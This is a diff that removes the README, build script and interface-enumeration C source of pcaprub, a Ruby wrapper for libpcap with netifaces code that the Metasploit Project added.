RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
-43
View File
@@ -1,43 +0,0 @@
This goal of this project is to provide a consistent interface to LBL's libpcap
packet capture library. This project was created because the currently
available ruby-pcap library is poorly designed and has been unmaintained since
2000. This does not provide packet processing functionality, it simply provides
the interface for capturing packets. For packet processing capability, see the
PacketRub project (http://packetrub.rubyforge.org).
Requirements:
libpcap - http://www.tcpdump.org
Build & Install:
ruby extconf.rb && make && make install
The latest version can be obtained from Subversion:
svn checkout http://pcaprub.rubyforge.org/svn/trunk/
The Metasploit Project also provides a Subversion repository:
svn checkout http://metasploit.com/svn/framework3/trunk/external/pcaprub/
The Metasploit Project also added some code from the python netifaces c extension
Original c/python netifaces code is under MIT-style license.
Here goes:
Copyright (c) 2007, 2008 Alastair Houghton
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
-117
View File
@@ -1,117 +0,0 @@
require 'mkmf'
puts("platform is #{RUBY_PLATFORM}")
########################
# Netifaces
########################
puts "\n[*] Running checks for netifaces code added by metasploit project"
puts "-----------------------------------------------------------------"
#uncoment to force ioctl on non windows systems
#@force_ioctl = true
@supported_archs = [ "i386-mingw32", "i486-linux", "x86_64-linux",
"universal-darwin10.0", "i386-openbsd4.8", "i386-freebsd8",
"arm-linux-eabi" ]
#arm-linux-eabi tested on maemo5 / N900
puts "[*] Warning : this platform as not been tested" unless @supported_archs.include? RUBY_PLATFORM
if RUBY_PLATFORM =~ /i386-mingw32/
unless have_library("ws2_32" ) and
have_library("iphlpapi") and
have_header("windows.h") and
have_header("winsock2.h") and
have_header("iphlpapi.h")
puts "\nNot all dependencies are satisfied, please check logs"
exit
end
else
headers = ['net/if_dl.h', 'netash/ash.h','netatalk/at.h', 'netax25/ax25.h',
'neteconet/ec.h', 'netipx/ipx.h','netpacket/packet.h', 'netrose/rose.h']
if RUBY_PLATFORM =~ /linux/
headers += [ 'linux/irda.h', 'linux/atm.h',
'linux/llc.h', 'linux/tipc.h',
'linux/dn.h']
end
additionnal_headers = ["sys/types.h","sys/socket.h","sys/un.h","net/if.h","netinet/in.h"]
optional_headers = []
sockaddrs = [ 'at', 'ax25', 'dl', 'eon', 'in', 'in6',
'inarp', 'ipx', 'iso', 'ns', 'un', 'x25',
'rose', 'ash', 'ec', 'll', 'atmpvc', 'atmsvc',
'dn', 'irda', 'llc']
# 1) Check for getifaddrs
unless @force_ioctl
need_ioctl = !(have_func("getifaddrs"))
end
# 2) Check for getnameinfo or redefine it in netifaces.c
have_func("getnameinfo")
# 3) Whitout getifaddrs we'll have to deal with ioctls
if need_ioctl or @force_ioctl
ioctls = [
'SIOCGIFCONF','SIOCGSIZIFCONF','SIOCGIFHWADDR','SIOCGIFADDR','SIOCGIFFLAGS','SIOCGIFDSTADDR',
'SIOCGIFBRDADDR','SIOCGIFNETMASK','SIOCGLIFNUM','SIOCGLIFCONF','SIOCGLIFFLAGS']
ioctls_headers = ['sys/types.h','sys/socket.h','sys/ioctl.h','net/if.h','netinet/in.h','arpa/inet.h']
#TODO Test this on sunos
#if RUBY_PLATFORM =~ /sunos/
# ioctls_headers += ['unistd.h','stropts.h','sys/sockio.h']
#end
$defs.push '-DHAVE_SOCKET_IOCTLS'
ioctls.each do |ioctl|
if have_macro(ioctl, ioctls_headers)
$defs.push "-DHAVE_#{ioctl}"
end
end
end
# 4) Check for optionnal headers
headers.each do |header|
if have_header(header)
optional_headers.push(header)
end
end
# 5) On certain platforms (Linux), there's no sa_len.
# Unfortunately, getifaddrs() doesn't return the
# lengths, because they're in the sa_len field on just about
# everything but Linux.
# In this case we will define a macro that will return the sa_len from
# the sockaddr_xx structure if they are available
if (!have_struct_member("struct sockaddr", "sa_len", ["sys/types.h","sys/socket.h","net/if.h"]))
sockaddrs.each do |sockaddr|
have_type("struct sockaddr_" + sockaddr, additionnal_headers + optional_headers)
end
end
end
#rework the defs to make them compatible with the original netifaces.c code
$defs = $defs.map do |a|
if a =~ /^-DHAVE_TYPE_STRUCT_SOCKADDR_.*$/ then a.gsub("TYPE_STRUCT_","")
elsif a == "-DHAVE_ST_SA_LEN" then a.gsub("HAVE_ST_","HAVE_SOCKADDR_")
else a
end
end
########################
# Pcap
########################
puts "\n[*] Running checks for pcap code..."
puts "-----------------------------------"
if /i386-mingw32/ =~ RUBY_PLATFORM
dir_config("pcap","C:/WpdPack/include","C:/WpdPack/lib")
have_library("wpcap", "pcap_open_live")
have_library("wpcap", "pcap_setnonblock")
else
have_library("pcap", "pcap_open_live")
have_library("pcap", "pcap_setnonblock")
end
if ( RUBY_VERSION =~ /^1\.9/ )
$CFLAGS += " -DRUBY_19"
end
create_makefile("pcaprub")
-816
View File
@@ -1,816 +0,0 @@
#include "ruby.h"
#ifndef RUBY_19
#include "rubysig.h"
#endif
#include "netifaces.h"
#if !defined(WIN32)
#if !HAVE_GETNAMEINFO
#undef getnameinfo
#undef NI_NUMERICHOST
#define getnameinfo our_getnameinfo
#define NI_NUMERICHOST 1
/* A very simple getnameinfo() for platforms without */
static int
getnameinfo (const struct sockaddr *addr, int addr_len,
char *buffer, int buflen,
char *buf2, int buf2len,
int flags)
{
switch (addr->sa_family)
{
case AF_INET:
{
const struct sockaddr_in *sin = (struct sockaddr_in *)addr;
const unsigned char *bytes = (unsigned char *)&sin->sin_addr.s_addr;
char tmpbuf[20];
sprintf (tmpbuf, "%d.%d.%d.%d",
bytes[0], bytes[1], bytes[2], bytes[3]);
strncpy (buffer, tmpbuf, buflen);
}
break;
#ifdef AF_INET6
case AF_INET6:
{
const struct sockaddr_in6 *sin = (const struct sockaddr_in6 *)addr;
const unsigned char *bytes = sin->sin6_addr.s6_addr;
int n;
char tmpbuf[80], *ptr = tmpbuf;
int done_double_colon = FALSE;
int colon_mode = FALSE;
for (n = 0; n < 8; ++n)
{
unsigned char b1 = bytes[2 * n];
unsigned char b2 = bytes[2 * n + 1];
if (b1)
{
if (colon_mode)
{
colon_mode = FALSE;
*ptr++ = ':';
}
sprintf (ptr, "%x%02x", b1, b2);
ptr += strlen (ptr);
*ptr++ = ':';
}
else if (b2)
{
if (colon_mode)
{
colon_mode = FALSE;
*ptr++ = ':';
}
sprintf (ptr, "%x", b2);
ptr += strlen (ptr);
*ptr++ = ':';
}
else {
if (!colon_mode)
{
if (done_double_colon)
{
*ptr++ = '0';
*ptr++ = ':';
}
else
{
if (n == 0)
*ptr++ = ':';
colon_mode = TRUE;
done_double_colon = TRUE;
}
}
}
}
if (colon_mode)
{
colon_mode = FALSE;
*ptr++ = ':';
*ptr++ = '\0';
}
else
{
*--ptr = '\0';
}
strncpy (buffer, tmpbuf, buflen);
}
break;
#endif /* AF_INET6 */
default:
return -1;
}
return 0;
}
#endif
static int
string_from_sockaddr (struct sockaddr *addr,
char *buffer,
int buflen)
{
if (!addr || addr->sa_family == AF_UNSPEC)
return -1;
if (getnameinfo (addr, SA_LEN(addr),
buffer, buflen,
NULL, 0,
NI_NUMERICHOST) != 0)
{
int n, len;
char *ptr;
const char *data;
len = SA_LEN(addr);
#if HAVE_AF_LINK
/* BSD-like systems have AF_LINK */
if (addr->sa_family == AF_LINK)
{
struct sockaddr_dl *dladdr = (struct sockaddr_dl *)addr;
len = dladdr->sdl_alen;
if(len >=0)
data = LLADDR(dladdr);
}
else
{
#endif
#if defined(AF_PACKET)
/* Linux has AF_PACKET instead */
if (addr->sa_family == AF_PACKET)
{
struct sockaddr_ll *lladdr = (struct sockaddr_ll *)addr;
len = lladdr->sll_halen;
//amaloteaux: openbsd and maybe other systems have a len of 0 for enc0,pflog0 .. interfaces
if(len >=0)
data = (const char *)lladdr->sll_addr;
}
else
{
#endif
/* We don't know anything about this sockaddr, so just display
the entire data area in binary. */
len -= (sizeof (struct sockaddr) - sizeof (addr->sa_data));
data = addr->sa_data;
#if defined(AF_PACKET)
}
#endif
#if HAVE_AF_LINK
}
#endif
if ((buflen < 3 * len) || len <= 0)
return -1;
ptr = buffer;
buffer[0] = '\0';
for (n = 0; n < len; ++n)
{
sprintf (ptr, "%02x:", data[n] & 0xff);
ptr += 3;
}
*--ptr = '\0';
}
return 0;
}
#endif /* !defined(WIN32) */
static VALUE add_to_family(VALUE result, VALUE family, VALUE value)
{
Check_Type(result, T_HASH);
Check_Type(family, T_FIXNUM);
Check_Type(value, T_HASH);
VALUE list;
list = rb_hash_aref(result, family);
if (list == Qnil)
list = rb_ary_new();
else
Check_Type(list, T_ARRAY);
rb_ary_push(list, value);
rb_hash_aset(result, family, list);
return result;
}
VALUE
rbnetifaces_s_addresses (VALUE class, VALUE dev)
{
Check_Type(dev, T_STRING);
VALUE result;
int found = FALSE;
result = rb_hash_new();
#if defined(WIN32)
PIP_ADAPTER_INFO pAdapterInfo = NULL;
PIP_ADAPTER_INFO pInfo = NULL;
ULONG ulBufferLength = 0;
DWORD dwRet;
PIP_ADDR_STRING str;
//First, retrieve the adapter information. We do this in a loop, in
//case someone adds or removes adapters in the meantime.
do
{
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
if (dwRet == ERROR_BUFFER_OVERFLOW)
{
if (pAdapterInfo)
free (pAdapterInfo);
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
if (!pAdapterInfo)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
}
} while (dwRet == ERROR_BUFFER_OVERFLOW);
// If we failed, then fail in Ruby too
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
{
if (pAdapterInfo)
free (pAdapterInfo);
rb_raise(rb_eRuntimeError, "Unable to obtain adapter information.");
return Qnil;
}
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
{
char buffer[256];
//dev is the iface GUID on windows with "\\Device\\NPF_" prefix
int cmpAdapterNamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
char cmpAdapterName[cmpAdapterNamelen];
memset(cmpAdapterName, 0x00, cmpAdapterNamelen);
strncpy(cmpAdapterName, "\\Device\\NPF_", 12);
int AdapterName_len = strlen(pInfo->AdapterName);
strncpy(cmpAdapterName + 12, pInfo->AdapterName, AdapterName_len);
if (strcmp (cmpAdapterName, StringValuePtr(dev)) != 0)
continue;
VALUE rbhardw = Qnil;
VALUE rbaddr = Qnil;
VALUE rbnetmask = Qnil;
VALUE rbbraddr = Qnil;
found = TRUE;
// Do the physical address
if (256 >= 3 * pInfo->AddressLength)
{
VALUE hash_hardw;
hash_hardw = rb_hash_new();
char *ptr = buffer;
unsigned n;
*ptr = '\0';
for (n = 0; n < pInfo->AddressLength; ++n)
{
sprintf (ptr, "%02x:", pInfo->Address[n] & 0xff);
ptr += 3;
}
*--ptr = '\0';
rbhardw = rb_str_new2(buffer);
rb_hash_aset(hash_hardw, rb_str_new2("addr"), rbhardw);
result = add_to_family(result, INT2FIX(AF_LINK), hash_hardw);
}
for (str = &pInfo->IpAddressList; str; str = str->Next)
{
VALUE result2;
result2 = rb_hash_new();
if(str->IpAddress.String)
rbaddr = rb_str_new2(str->IpAddress.String);
if(str->IpMask.String)
rbnetmask = rb_str_new2(str->IpMask.String);
//If this isn't the loopback interface, work out the broadcast
//address, for better compatibility with other platforms.
if (pInfo->Type != MIB_IF_TYPE_LOOPBACK)
{
unsigned long inaddr = inet_addr (str->IpAddress.String);
unsigned long inmask = inet_addr (str->IpMask.String);
struct in_addr in;
char *brstr;
in.S_un.S_addr = (inaddr | ~inmask) & 0xfffffffful;
brstr = inet_ntoa (in);
if (brstr)
rbbraddr = rb_str_new2(brstr);
}
if (rbaddr)
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
if (rbnetmask)
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
if (rbbraddr)
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
result = add_to_family(result, INT2FIX(AF_INET), result2);
}
} // for
free (pAdapterInfo);
#elif HAVE_GETIFADDRS
struct ifaddrs *addrs = NULL;
struct ifaddrs *addr = NULL;
if (getifaddrs (&addrs) < 0)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
}
for (addr = addrs; addr; addr = addr->ifa_next)
{
char buffer[256];
VALUE rbaddr = Qnil;
VALUE rbnetmask = Qnil;
VALUE rbbraddr = Qnil;
if (strcmp (addr->ifa_name, StringValuePtr(dev)) != 0)
continue;
/* Sometimes there are records without addresses (e.g. in the case of a
dial-up connection via ppp, which on Linux can have a link address
record with no actual address). We skip these as they aren't useful.
Thanks to Christian Kauhaus for reporting this issue. */
if (!addr->ifa_addr)
continue;
found = TRUE;
if (string_from_sockaddr (addr->ifa_addr, buffer, sizeof (buffer)) == 0)
rbaddr = rb_str_new2(buffer);
if (string_from_sockaddr (addr->ifa_netmask, buffer, sizeof (buffer)) == 0)
rbnetmask = rb_str_new2(buffer);
if (string_from_sockaddr (addr->ifa_broadaddr, buffer, sizeof (buffer)) == 0)
rbbraddr = rb_str_new2(buffer);
VALUE result2;
result2 = rb_hash_new();
if (rbaddr)
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
if (rbnetmask)
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
if (rbbraddr)
{
if (addr->ifa_flags & (IFF_POINTOPOINT | IFF_LOOPBACK))
rb_hash_aset(result2, rb_str_new2("peer"), rbbraddr);
else
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
}
if (rbaddr || rbnetmask || rbbraddr)
result = add_to_family(result, INT2FIX(addr->ifa_addr->sa_family), result2);
}
freeifaddrs (addrs);
#elif HAVE_SOCKET_IOCTLS
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
struct CNAME(ifreq) ifr;
char buffer[256];
int is_p2p = FALSE;
VALUE rbaddr = Qnil;
VALUE rbnetmask = Qnil;
VALUE rbbraddr = Qnil;
VALUE rbdstaddr = Qnil;
strncpy (ifr.CNAME(ifr_name), StringValuePtr(dev), IFNAMSIZ);
#if HAVE_SIOCGIFHWADDR
if (ioctl (sock, SIOCGIFHWADDR, &ifr) == 0)
{
if (string_from_sockaddr (&(ifr.CNAME(ifr_addr)), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
VALUE rbhardw = Qnil;
VALUE hash_hardw;
hash_hardw = rb_hash_new();
rbhardw = rb_str_new2(buffer);
rb_hash_aset(hash_hardw, rb_str_new2("addr"), rbhardw);
result = add_to_family(result, INT2FIX(AF_LINK), hash_hardw);
}
}
#endif
#if HAVE_SIOCGIFADDR
#if HAVE_SIOCGLIFNUM
if (ioctl (sock, SIOCGLIFADDR, &ifr) == 0)
{
#else
if (ioctl (sock, SIOCGIFADDR, &ifr) == 0)
{
#endif
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
rbaddr = rb_str_new2(buffer);
}
}
#endif
#if HAVE_SIOCGIFNETMASK
#if HAVE_SIOCGLIFNUM
if (ioctl (sock, SIOCGLIFNETMASK, &ifr) == 0)
{
#else
if (ioctl (sock, SIOCGIFNETMASK, &ifr) == 0)
{
#endif
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
rbnetmask = rb_str_new2(buffer);
}
}
#endif
#if HAVE_SIOCGIFFLAGS
#if HAVE_SIOCGLIFNUM
if (ioctl (sock, SIOCGLIFFLAGS, &ifr) == 0)
{
#else
if (ioctl (sock, SIOCGIFFLAGS, &ifr) == 0)
{
#endif
if (ifr.CNAME(ifr_flags) & IFF_POINTOPOINT)
{
is_p2p = TRUE;
}
}
#endif
#if HAVE_SIOCGIFBRDADDR
#if HAVE_SIOCGLIFNUM
if (!is_p2p && ioctl (sock, SIOCGLIFBRDADDR, &ifr) == 0)
{
#else
if (!is_p2p && ioctl (sock, SIOCGIFBRDADDR, &ifr) == 0)
{
#endif
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
rbbraddr = rb_str_new2(buffer);
}
}
#endif
#if HAVE_SIOCGIFDSTADDR
#if HAVE_SIOCGLIFNUM
if (is_p2p && ioctl (sock, SIOCGLIFBRDADDR, &ifr) == 0)
{
#else
if (is_p2p && ioctl (sock, SIOCGIFBRDADDR, &ifr) == 0)
{
#endif
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
rbdstaddr = rb_str_new2(buffer);
}
}
#endif
VALUE result2;
result2 = rb_hash_new();
if (rbaddr)
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
if (rbnetmask)
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
if (rbbraddr)
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
if (rbdstaddr)
rb_hash_aset(result2, rb_str_new2("peer"), rbbraddr);
if (rbaddr || rbnetmask || rbbraddr || rbdstaddr)
result = add_to_family(result, INT2FIX(AF_INET), result2);
close (sock);
#endif /* HAVE_SOCKET_IOCTLS */
if (found)
return result;
else
return Qnil;
}
VALUE
rbnetifaces_s_interfaces (VALUE self)
{
VALUE result;
result = rb_ary_new();
#if defined(WIN32)
PIP_ADAPTER_INFO pAdapterInfo = NULL;
PIP_ADAPTER_INFO pInfo = NULL;
ULONG ulBufferLength = 0;
DWORD dwRet;
// First, retrieve the adapter information
do {
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
if (dwRet == ERROR_BUFFER_OVERFLOW)
{
if (pAdapterInfo)
free (pAdapterInfo);
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
if (!pAdapterInfo)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
}
}
} while (dwRet == ERROR_BUFFER_OVERFLOW);
// If we failed, then fail in Ruby too
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
{
if (pAdapterInfo)
free (pAdapterInfo);
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
if (dwRet == ERROR_NO_DATA)
{
free (pAdapterInfo);
return result;
}
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
{
int outputnamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
char outputname[outputnamelen];
memset(outputname, 0x00, outputnamelen);
strncpy(outputname, "\\Device\\NPF_", 12);
int AdapterName_len = strlen(pInfo->AdapterName);
strncpy(outputname + 12, pInfo->AdapterName, AdapterName_len);
VALUE ifname = rb_str_new2(outputname) ;
if(!rb_ary_includes(result, ifname))
rb_ary_push(result, ifname);
}
free (pAdapterInfo);
#elif HAVE_GETIFADDRS
const char *prev_name = NULL;
struct ifaddrs *addrs = NULL;
struct ifaddrs *addr = NULL;
if (getifaddrs (&addrs) < 0)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
}
for (addr = addrs; addr; addr = addr->ifa_next)
{
if (!prev_name || strncmp (addr->ifa_name, prev_name, IFNAMSIZ) != 0)
{
VALUE ifname = rb_str_new2(addr->ifa_name);
if(!rb_ary_includes(result, ifname))
rb_ary_push(result, ifname);
prev_name = addr->ifa_name;
}
}
freeifaddrs (addrs);
#elif HAVE_SIOCGIFCONF
const char *prev_name = NULL;
int fd = socket (AF_INET, SOCK_DGRAM, 0);
struct CNAME(ifconf) ifc;
int len = -1, n;
if (fd < 0) {
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
// Try to find out how much space we need
#if HAVE_SIOCGSIZIFCONF
if (ioctl (fd, SIOCGSIZIFCONF, &len) < 0)
len = -1;
#elif HAVE_SIOCGLIFNUM
#error This code need to be checked first
/*
{ struct lifnum lifn;
lifn.lifn_family = AF_UNSPEC;
lifn.lifn_flags = LIFC_NOXMIT | LIFC_TEMPORARY | LIFC_ALLZONES;
ifc.lifc_family = AF_UNSPEC;
ifc.lifc_flags = LIFC_NOXMIT | LIFC_TEMPORARY | LIFC_ALLZONES;
if (ioctl (fd, SIOCGLIFNUM, (char *)&lifn) < 0)
len = -1;
else
len = lifn.lifn_count;
}
*/
#endif
// As a last resort, guess
if (len < 0)
len = 64;
ifc.CNAME(ifc_len) = len * sizeof (struct CNAME(ifreq));
ifc.CNAME(ifc_buf) = malloc (ifc.CNAME(ifc_len));
if (!ifc.CNAME(ifc_buf)) {
close (fd);
rb_raise(rb_eRuntimeError, "Not enough memory");
return Qnil;
}
#if HAVE_SIOCGLIFNUM
if (ioctl (fd, SIOCGLIFCONF, &ifc) < 0) {
#else
if (ioctl (fd, SIOCGIFCONF, &ifc) < 0) {
#endif
free (ifc.CNAME(ifc_req));
close (fd);
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
struct CNAME(ifreq) *pfreq = ifc.CNAME(ifc_req);
for (n = 0; n < ifc.CNAME(ifc_len)/sizeof(struct CNAME(ifreq));n++,pfreq++)
{
if (!prev_name || strncmp (prev_name, pfreq->CNAME(ifr_name), IFNAMSIZ) != 0)
{
VALUE ifname = rb_str_new2(pfreq->CNAME(ifr_name));
if(!rb_ary_includes(result, ifname))
rb_ary_push(result, ifname);
prev_name = pfreq->CNAME(ifr_name);
}
}
free (ifc.CNAME(ifc_buf));
close (fd);
#endif //
return result;
}
//This function is usefull only under windows to retrieve some additionnal interfaces informations
VALUE
rbnetifaces_s_interface_info (VALUE self, VALUE dev)
{
VALUE result = Qnil;
#if defined(WIN32)
PIP_ADAPTER_INFO pAdapterInfo = NULL;
PIP_ADAPTER_INFO pInfo = NULL;
ULONG ulBufferLength = 0;
DWORD dwRet;
// First, retrieve the adapter information
do {
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
if (dwRet == ERROR_BUFFER_OVERFLOW)
{
if (pAdapterInfo)
free (pAdapterInfo);
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
if (!pAdapterInfo)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
}
}
} while (dwRet == ERROR_BUFFER_OVERFLOW);
// If we failed, then fail in Ruby too
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
{
if (pAdapterInfo)
free (pAdapterInfo);
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
if (dwRet == ERROR_NO_DATA)
{
free (pAdapterInfo);
return result;
}
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
{
//dev is the iface GUID on windows with "\\Device\\NPF_" prefix
int cmpAdapterNamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
char cmpAdapterName[cmpAdapterNamelen];
memset(cmpAdapterName, 0x00, cmpAdapterNamelen);
strncpy(cmpAdapterName, "\\Device\\NPF_", 12);
int AdapterName_len = strlen(pInfo->AdapterName);
strncpy(cmpAdapterName + 12, pInfo->AdapterName, AdapterName_len);
if (strcmp (cmpAdapterName, StringValuePtr(dev)) != 0)
continue;
result = rb_hash_new();
rb_hash_aset(result, rb_str_new2("description"), rb_str_new2(pInfo->Description));
rb_hash_aset(result, rb_str_new2("guid"), rb_str_new2(pInfo->AdapterName));
// Get the name from the registry
const char* prefix = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\";
const char* sufix = "\\Connection";
int prefix_len = strlen(prefix);
int sufix_len = strlen(sufix);
int adaptername_len = strlen(pInfo->AdapterName);
char* keypath = NULL;
keypath = malloc(prefix_len + sufix_len + adaptername_len + 1);
memset(keypath, 0x00, prefix_len + sufix_len + adaptername_len + 1);
strncpy(keypath, prefix, prefix_len);
strncpy(keypath + prefix_len, pInfo->AdapterName, adaptername_len);
strncpy(keypath + prefix_len + adaptername_len, sufix, sufix_len);
HKEY hKey;
LONG lRet = 0;
LPBYTE buffer = NULL;
DWORD dwSize = 0;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, keypath, 0, KEY_READ, &hKey) == ERROR_SUCCESS)
{
// obtain current value size
lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, NULL, &dwSize);
if (dwSize > 0 && ERROR_SUCCESS == lRet)
{
buffer = malloc((dwSize * sizeof(BYTE)) + 4);
memset(buffer, 0x00, (dwSize * sizeof(BYTE)) + 4);
lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, buffer, &dwSize);
if (ERROR_SUCCESS == lRet)
{
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(buffer));
}
else
{
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
}
free(buffer);
}
else
{
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
}
RegCloseKey(hKey);
}
else
{
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
}
free(keypath);
}
free (pAdapterInfo);
#endif
return result;
}
-184
View File
@@ -1,184 +0,0 @@
#ifndef WIN32
# include <sys/types.h>
# include <sys/socket.h>
# include <net/if.h>
# include <netdb.h>
# if HAVE_SOCKET_IOCTLS
# include <sys/ioctl.h>
# include <netinet/in.h>
# include <arpa/inet.h>
#if defined(__sun)
#include <unistd.h>
#include <stropts.h>
#include <sys/sockio.h>
#endif
# endif /* HAVE_SOCKET_IOCTLS */
/* For logical interfaces support we convert all names to same name prefixed with l */
#if HAVE_SIOCGLIFNUM
#define CNAME(x) l##x
#else
#define CNAME(x) x
#endif
#if HAVE_NET_IF_DL_H
# include <net/if_dl.h>
#endif
/* For Linux, include all the sockaddr
definitions we can lay our hands on. */
#if !HAVE_SOCKADDR_SA_LEN
# if HAVE_NETASH_ASH_H
# include <netash/ash.h>
# endif
# if HAVE_NETATALK_AT_H
# include <netatalk/at.h>
# endif
# if HAVE_NETAX25_AX25_H
# include <netax25/ax25.h>
# endif
# if HAVE_NETECONET_EC_H
# include <neteconet/ec.h>
# endif
# if HAVE_NETIPX_IPX_H
# include <netipx/ipx.h>
# endif
# if HAVE_NETPACKET_PACKET_H
# include <netpacket/packet.h>
# endif
# if HAVE_NETROSE_ROSE_H
# include <netrose/rose.h>
# endif
# if HAVE_LINUX_IRDA_H
# include <linux/irda.h>
# endif
# if HAVE_LINUX_ATM_H
# include <linux/atm.h>
# endif
# if HAVE_LINUX_LLC_H
# include <linux/llc.h>
# endif
# if HAVE_LINUX_TIPC_H
# include <linux/tipc.h>
# endif
# if HAVE_LINUX_DN_H
# include <linux/dn.h>
# endif
/* Map address families to sizes of sockaddr structs */
static int af_to_len(int af)
{
switch (af)
{
case AF_INET: return sizeof (struct sockaddr_in);
#if defined(AF_INET6) && HAVE_SOCKADDR_IN6
case AF_INET6: return sizeof (struct sockaddr_in6);
#endif
#if defined(AF_AX25) && HAVE_SOCKADDR_AX25
# if defined(AF_NETROM)
case AF_NETROM: /* I'm assuming this is carried over x25 */
# endif
case AF_AX25: return sizeof (struct sockaddr_ax25);
#endif
#if defined(AF_IPX) && HAVE_SOCKADDR_IPX
case AF_IPX: return sizeof (struct sockaddr_ipx);
#endif
#if defined(AF_APPLETALK) && HAVE_SOCKADDR_AT
case AF_APPLETALK: return sizeof (struct sockaddr_at);
#endif
#if defined(AF_ATMPVC) && HAVE_SOCKADDR_ATMPVC
case AF_ATMPVC: return sizeof (struct sockaddr_atmpvc);
#endif
#if defined(AF_ATMSVC) && HAVE_SOCKADDR_ATMSVC
case AF_ATMSVC: return sizeof (struct sockaddr_atmsvc);
#endif
#if defined(AF_X25) && HAVE_SOCKADDR_X25
case AF_X25: return sizeof (struct sockaddr_x25);
#endif
#if defined(AF_ROSE) && HAVE_SOCKADDR_ROSE
case AF_ROSE: return sizeof (struct sockaddr_rose);
#endif
#if defined(AF_DECnet) && HAVE_SOCKADDR_DN
case AF_DECnet: return sizeof (struct sockaddr_dn);
#endif
#if defined(AF_PACKET) && HAVE_SOCKADDR_LL
case AF_PACKET: return sizeof (struct sockaddr_ll);
#endif
#if defined(AF_ASH) && HAVE_SOCKADDR_ASH
case AF_ASH: return sizeof (struct sockaddr_ash);
#endif
#if defined(AF_ECONET) && HAVE_SOCKADDR_EC
case AF_ECONET: return sizeof (struct sockaddr_ec);
#endif
#if defined(AF_IRDA) && HAVE_SOCKADDR_IRDA
case AF_IRDA: return sizeof (struct sockaddr_irda);
#endif
}
return sizeof (struct sockaddr);
}
#define SA_LEN(sa) af_to_len(sa->sa_family)
#if HAVE_SIOCGLIFNUM
#define SS_LEN(sa) af_to_len(sa->ss_family)
#else
#define SS_LEN(sa) SA_LEN(sa)
#endif
#else
//remove a warning on openbsd
#ifndef SA_LEN
#define SA_LEN(sa) sa->sa_len
#endif
